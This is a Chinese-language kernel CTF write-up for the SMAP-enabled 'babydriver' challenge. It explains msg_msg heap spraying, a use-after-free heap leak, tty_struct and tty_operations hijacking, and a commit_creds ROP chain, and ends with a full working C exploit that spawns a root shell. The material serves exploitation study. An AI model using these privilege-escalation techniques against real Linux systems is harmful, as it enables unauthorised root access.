Kernel PWN-開啟smap保護的babydrive

一、開啟smap
由于原本的babydrive啟動腳本里,沒有開啟smap,所以內核可以訪問用戶態的數據,因此我們才能夠將fake_tty_operation和我們的rop布置到用戶態。可是當我們開啟了smap保護之后,內核態就沒有辦法訪問用戶態的數據,此時當我們再hijack tty_operation到我們的用戶態時,我們的kernel就會panic,更別說劫持執行流到用戶態上執行rop了。
此時就需要我們想一個辦法,把fake_tty_operation布置到內核空間并且還得再布置一個rop,除此之外還得知道布置的內核位置在哪。
二、msg_msg
那么如何往內核里面丟垃圾呢,這里有一個選擇就是噴他一發msg_msg
msg_msg在linux 中用于進程之間通訊,在msgget函數調用后,會創建一條消息隊列在內核空間中會創建一個 msg_queue 結構體,在調用msgsnd時就會發送一條msg的消息到指定隊列上。
當我們調用msgsnd時,在linux內核中會調用do_msgsnd。
static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg){ struct msg_queue *msq; struct msg_msg *msg; int err; struct ipc_namespace *ns; DEFINE_WAKE_Q(wake_q); ns = current->nsproxy->ipc_ns; if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; if (mtype < 1) return -EINVAL; msg = load_msg(mtext, msgsz);.....}
在經過兩個檢驗后,就會調用load_msg,跟進該函數。
struct msg_msg *load_msg(const void __user *src, size_t len){ struct msg_msg *msg; struct msg_msgseg *seg; int err = -EFAULT; size_t alen; msg = alloc_msg(len); if (msg == NULL) return ERR_PTR(-ENOMEM); alen = min(len, DATALEN_MSG); if (copy_from_user(msg + 1, src, alen)) goto out_err; for (seg = msg->next; seg != NULL; seg = seg->next) { len -= alen; src = (char __user *)src + alen; alen = min(len, DATALEN_SEG); if (copy_from_user(seg + 1, src, alen)) goto out_err; } err = security_msg_msg_alloc(msg); if (err) goto out_err; return msg; out_err: free_msg(msg); return ERR_PTR(err);}
可以看到調用alloc_msg后會調用copy_from_user來將用戶的信息復制進內核里。而alloc_msg里:
static struct msg_msg *alloc_msg(size_t len){ struct msg_msg *msg; struct msg_msgseg **pseg; size_t alen; alen = min(len, DATALEN_MSG); msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); if (msg == NULL) return NULL; msg->next = NULL; msg->security = NULL; len -= alen; pseg = &msg->next; while (len > 0) { struct msg_msgseg *seg; cond_resched(); alen = min(len, DATALEN_SEG); seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); if (seg == NULL) goto out_err; *pseg = seg; seg->next = NULL; pseg = &seg->next; len -= alen; } return msg; out_err: free_msg(msg); return NULL;}
會根據用戶發送的msg大小來調用kmalloc申請內存。因此,借助msg_msg我們可以實現任意大小的分配內核空間,并且可以控制該空間除去msg頭(0x30)大小外的所有內存內容(這不就是堆。
三、再看babydrive
Leak heap
由于我們擁有了一個樸實無華的UAF,并且可以通過對驅動的交互來實現對該指針指向的內存空間進行讀寫操作。
當我們free掉一個object時,該object內就會有下一個空閑object的地址,因此我們可以leak出該freelist的地址。

可以看到rdi寄存器這就是當前還存有空閑object的freelist,在后續的申請中,我們也是有機會取出這里面的object的。
在freelist上的object,都會存在一個指針指向下一個空閑的object,下圖就是:

因此當我們在free掉原本的object時,再讀里面的內容,就能輕輕松松的leak出來heap_addr。
復用tty_struct布置tty_operation
上文中提到,開啟smap后,內核無法直接訪問用戶態的數據,因此這時候我們的tty_operation也需要布置到內核空間,才能成功的在對tty設備操作時調用到我們布置的gadget。
在這里鼠鼠我由于比較懶,不想再噴一次msg_msg,于是突發奇想,想到能不能利用tty_struct里沒有數據的地方來布置我們的tty_operation,這樣就不用再噴一次,難為一個剛入門kernel的lese了(笑)。

可以看到原本tty_struct前面的部分是如此,在tty_struct+0x1a0的地方,鼠鼠我找到了一塊沒數據的地方。

于是鼠鼠計劃把我的fake_tty_operation寫到這里,利用題目中baby_write函數,把fake tty struct和fake tty operation一次性寫進去,一炮雙響,完成hijack tty operation和在內核空間布置fake tty operation的壯舉。

效果如圖。
利用msgsnd布置rop
從上文對msgsnd函數的分析,我們可以利用msgsnd來布置rop鏈,于此同時由于我們已經leak 了freelist上的地址,所以可以多次使用msgsnd發送合適size的消息,就有機會拿到已知地址的freelist上的object并且往里面寫入rop鏈子,并且由于有freelist地址,再配合鼠鼠我找到的pop rsp; ret;這條gadget,就能直接跳到rop上,完成get root。
利用msgsnd布置rop時發生了一些鼠鼠目前沒搞明白的東西,但是為了避免大家看鼠鼠的水文摸不著頭腦,就小提一嘴。
我的rop鏈如下:
rop[i++] = *(size_t*)"patekblue"; rop[i++] = pop_rdi_ret; rop[i++] = init_cred; rop[i++] = commit_cred;// rop[i++] = *(size_t*)"patekblue";// rop[i++] = (size_t)usr; rop[i++] = swapgs_pop_rbp_ret; rop[i++] = *(size_t*)"patekblue"; rop[i++] = iretq_ret; rop[i++] = (size_t)getshell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
而用msgsnd后,我的rop第一條和第二條會斷開。

鼠鼠對源碼的理解很淺,所以也不明白為什么會如此,有明白為什么的師傅可以教教0r2。
四、Exp
由于鼠鼠的堆噴實屬剛入門,水平低下,所以寫出來的exp內核布局不穩定,qemu啟動后建議直接運行exp拿root權限,如果用了一些命令行的話,exp就可能會寄。
#define _GNU_SOURCE#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sched.h>#include <sys/types.h>#include <sys/ipc.h>#include <sys/msg.h>size_t user_cs, user_ss, user_rflags, user_sp;size_t commit_cred = 0xffffffff810a1420;size_t init_cred = 0xffffffff81e48c60;size_t mov_rsp_rax_dnc_ebx_ret = 0xffffffff8181bfc5;size_t pop_rax = 0xffffffff8100ce6e;size_t swapgs_pop_rbp_ret = 0xffffffff81063694;size_t iretq_ret = 0xffffffff814e35ef;size_t pop_rdi_ret = 0xffffffff810d238d;size_t mov_rc4_rdi_pop_rbp_ret = 0xffffffff81004d80;size_t pop_rsp_ret = 0xffffffff81171045;size_t leak[0x60];size_t fake_tty[0x200];int fd1;char meiyongde[10];int fd3;void info(char *s , size_t address ){ if (address) printf("\033[32m\033[1m[Info] %s : \033[0m%#lx\n", s, address); else printf("\033[32m\033[1m[Info] %s \033[0m\n", s);} void usr(){ void (*commit) (char*) = commit_cred;(*commit)(init_cred); } void save_status(){ __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); info("status saved!",0); }void getshell(){ info("root!!!!!!",0); system("/bin/sh"); } void bind_cpu(int core){ cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);} int main(){ int ret = 0; cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(0, &cpu_set); sched_setaffinity(0, sizeof(cpu_set), &cpu_set); int ms_qid[0x100]; save_status(); fd1=open("/dev/babydev",2); int fd2=open("/dev/babydev",2); ioctl(fd2,0x10001,0x2e0); close(fd2); info("try to read heapadd",0); read(fd1,leak,0x60); info("try to write heapadd",0); info("heapadd",leak[0]); fd3=open("/dev/ptmx",2); size_t fake_ktty_add; size_t rop[0x20]; int i =0; fake_ktty_add = (size_t*)leak[0]; fake_ktty_add = fake_ktty_add+0x800; info("check tty add",fake_ktty_add); rop[i++] = *(size_t*)"patekblue"; rop[i++] = pop_rdi_ret; rop[i++] = init_cred; rop[i++] = commit_cred; // rop[i++] = *(size_t*)"patekblue"; // rop[i++] = (size_t)usr; rop[i++] = swapgs_pop_rbp_ret; rop[i++] = *(size_t*)"patekblue"; rop[i++] = iretq_ret; rop[i++] = (size_t)getshell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; info("rop:",rop); size_t testrop[0x20]; testrop[0] = 0x11111111; testrop[1] = 0x22222222; testrop[3] = 0x33333333; testrop[4] = 0x44444444; testrop[5] = 0x55555555; testrop[6] = 0x66666666; testrop[7] = 0xdeadbeef; size_t operation[0x10]; size_t f_operation_add = fake_ktty_add + 0x1a0; info("check fake tty operation",f_operation_add); info("prepare fake tty_operation done!",0); info("try to hijack tty...",0); read(fd1,fake_tty,0x200); fake_tty[3] = f_operation_add; int t = 0x34; // fake_tty[t] = pop_rsp_ret; // fake_tty[t++] = leak[0]; size_t kernel_rop = fake_ktty_add +0x400 +0x30; info("check rop add in kernel space",kernel_rop); fake_tty[t] = pop_rsp_ret; fake_tty[t+1] = kernel_rop; for(int j = 2;j<8;j++){ fake_tty[t+j] = mov_rsp_rax_dnc_ebx_ret; } int msg_id[5]; for (int k = 0;k < 5;k++){ msg_id[k] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if(msg_id[k]==-1){ printf("get error msg_id : %d",k); } printf("sucess get msg_id : %d\n",k); } for (int w = 0; w < 5; w++) { ret = msgsnd((int*)msg_id[w],rop,0x2e0 - 0x30,0); if(ret==-1){ printf("get error in : %d",w); } } write(fd1,fake_tty,0x200); write(fd3, meiyongde,10); }
攻擊效果:

題目附件:https://pan.baidu.com/s/1_GcHcktkciIXPCG4bmMpSw?pwd=game
提取碼:game